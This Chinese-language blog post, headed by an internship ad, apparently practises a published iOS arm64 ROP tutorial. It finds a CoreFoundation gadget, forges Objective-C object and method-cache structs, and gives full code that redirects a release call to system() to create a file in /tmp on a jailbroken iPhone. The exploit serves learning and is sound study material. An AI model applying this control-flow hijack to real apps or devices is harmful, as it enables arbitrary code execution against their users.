帮招聘:
奇虎360信息安全部,招聘一位实习生
要求:在校生,211或985院校,具备iOS开发能力,懂iOS逆向最佳
投递简历:[email protected]
本文是根据蒸米大佬的文章《iOS冰与火之歌:Objective-C Pwn and iOS arm64 ROP》做的一个操作实践。
(原文地址:https://bbs.pediy.com/thread-212714.htm)
在实践过程中也遇到一些问题,逐步解决,最终成功实现。
越狱设备:iphone5s
手机系统:iOS 8.4,越狱
电脑设备:Macbook Pro
电脑系统:macOS 10.15.1
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。
在iOS上默认是开启ASLR+DEP+PIE的。ASLR和DEP很好理解,PIE的意思是program image本身在内存中的地址也是随机的。
所以我们在iOS上使用ROP技术必须配合信息泄露的漏洞才行。
虽然在iOS上写ROP非常困难,但有个好消息是虽然program image是随机的,但是每个进程都会加载的dyld_shared_cache这个共享缓存的地址在开机后是固定的,并且每个进程的dyld_shared_cache都是相同的。
伪造objc对象,修改类缓存里的方法指向地址指向一个CoreFoundation库的一个gadget,当方法再次被调用时,跳转到特定的gadget,实现调用 system 进程并在手机的 /tmp 目录下创建一个iceAndFire文件。
dyld_shared_cache文件一般保存在/System/Library/Caches/com.apple.dyld/这个目录下:
从手机导出 dyld_shared_cache_arm64 到电脑备用。
从dyld_shared_cachearm64 提取系统库文件:
详细方法见此文:iOS逆向抽取iOS真机系统库文件
https://mp.weixin.qq.com/s/y2hwD4gPc8eJVBAS_o2DXg
从导出的文件中找到 CoreFoundation 库的二进制文件:
接下来就是从CoreFoundation库的二进制文件中寻找合适gadget。
工具:ROPgadget
命令:ROPgadget --binary /路径/CoreFoundation
打印:
........忽略了很多内容...... 0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef88 ; br x1 0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef8c ; br x1 ; ret .......忽略了很多内容.......
蒸米大神原文中用的gadget是:
ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1
我们从刚才的打印信息中找到一个几乎一样的gadget:
0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef88 ; br x1
此gadget的地址是 0x0000000181ccef6c
把CoreFoundation的二进制文件拖入IDA中分析,找到 0x0000000181ccef6c 对应的汇编:
再看一下IDA里CoreFoundation的起始地址:
计算地址偏移量:
0x0000000181ccef6c - 0x000000181BF0000 = 0xDEF6C
0xDEF6C 就是后面要用到的地址偏移量。
这个偏移地址,必须根据你的测试设备中提取的CoreFoundation来计算。
#!objc struct fake_receiver_t { uint64_t fake_objc_class_ptr; //长度0x8 uint8_t pad1[0x70-0x8]; //长度0x68 uint64_t x0; //长度0x8 uint8_t pad2[0x98-0x70-0x8]; //长度0x20 uint64_t x1; //长度0x8 char cmd[1024]; //长度1024 }fake_receiver; struct fake_objc_class_t { char pad[0x10]; void* cache_buckets_ptr; uint32_t cache_bucket_mask; } fake_objc_class; struct fake_cache_bucket_t { void* cached_sel; void* cached_function; } fake_cache_bucket;
上面伪造的代码中,fake_receiver_t 这个结构体中的元素结构是跟gadget的汇编有关:
汇编"LDR x1,[x0,#0x98]",此时汇编中的x0是 fake_receiver ,所以[x0,#0x98]就是[fake_receiver,#0x98],[fake_receiver,#0x98] 对应的地址就是fake_receiver_t 中的 uint64_t x1; 汇编"LDR x0,[x0,#0x70]"中 [x0,#0x70] 对应 fake_receiver_t 中的 uint64_t x0;
我觉得结构体 fake_receiver_t 中的
uint8_t pad1[0x70-0x8]
和
uint8_t pad2[0x98-0x70-0x8]
都是起到占空间的作用,为了能匹配gadget汇编中的地址长度,顺利找到想要的值。
main函数中的代码:
#!objc int main(void) { Talker *talker = [[Talker alloc] init]; [talker say: @"Hello, Ice and Fire!"]; [talker say: @"Hello, Ice and Fire!"]; [talker release]; //找到 "release" 在内存中的地址 fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release"); NSLog(@"cached_sel = %p", NSSelectorFromString(@"release")); // 获取 CoreFoundation 在手机内存中的起始地址 uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation"); NSLog(@"CoreFoundationbase address = %p", (void*)CoreFoundation_base); //测试机5s_ios8.4的示例: //本次测试的gadget是 0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef88 ; br x1 //计算gadget在CoreFoundation库中的偏移量: 0x0000000181ccef6c - 0x000000181BF0000 = 0xDEF6C // CoreFoundation_base + 0xDEF6C 得到 gadget 在内存中的地址, // 并赋值给fake_cache_bucket.cached_function, // 意思就是 fake_cache_bucket 中 release 方法对应的地址指向gadget fake_cache_bucket.cached_function = (void*)CoreFoundation_base + 0xDEF6C; NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function); // system 将要执行的命令 赋值给 fake_receiver.x0 fake_receiver.x0=(uint64_t)&fake_receiver.cmd; // system 进程地址 赋值给 fake_receiver.x1,gadget中汇编"br x1"可跳转到system fake_receiver.x1=(void *)dlsym(RTLD_DEFAULT, "system"); NSLog(@"system_address = %p", (void*)fake_receiver.x1); // 给 fake_receiver.cmd 赋值 strcpy(fake_receiver.cmd, "touch /tmp/IceAndFire"); fake_objc_class.cache_buckets_ptr = &fake_cache_bucket; fake_objc_class.cache_bucket_mask=0; fake_receiver.fake_objc_class_ptr=&fake_objc_class; // 伪造的对象替换掉原来的 talker talker = &fake_receiver; // 再次执行 release 方法,就会跳转到 gadget的地址,汇编"br x1"调到system 并以 x0中的fake_receiver.cmd 作为参数 [talker release]; }
看看代码中的注释,进一步理解整个过程。
最终编译代码,生成ioshello执行程序,把ioshello复制到越狱机上,"chmod +x ioshello"给它添加执行权限,测试执行ioshello结果如下:
手机的/tmp 路径下生成了一个 iceAndFire 文件,ROP利用成功:
本文xcode测试项目源码:
链接: https://pan.baidu.com/s/1EYfV1jir-GKt1OLgab0mfA 密码: md62
蒸米大佬github:
https://github.com/zhengmin1989/iOS_ICE_AND_FIRE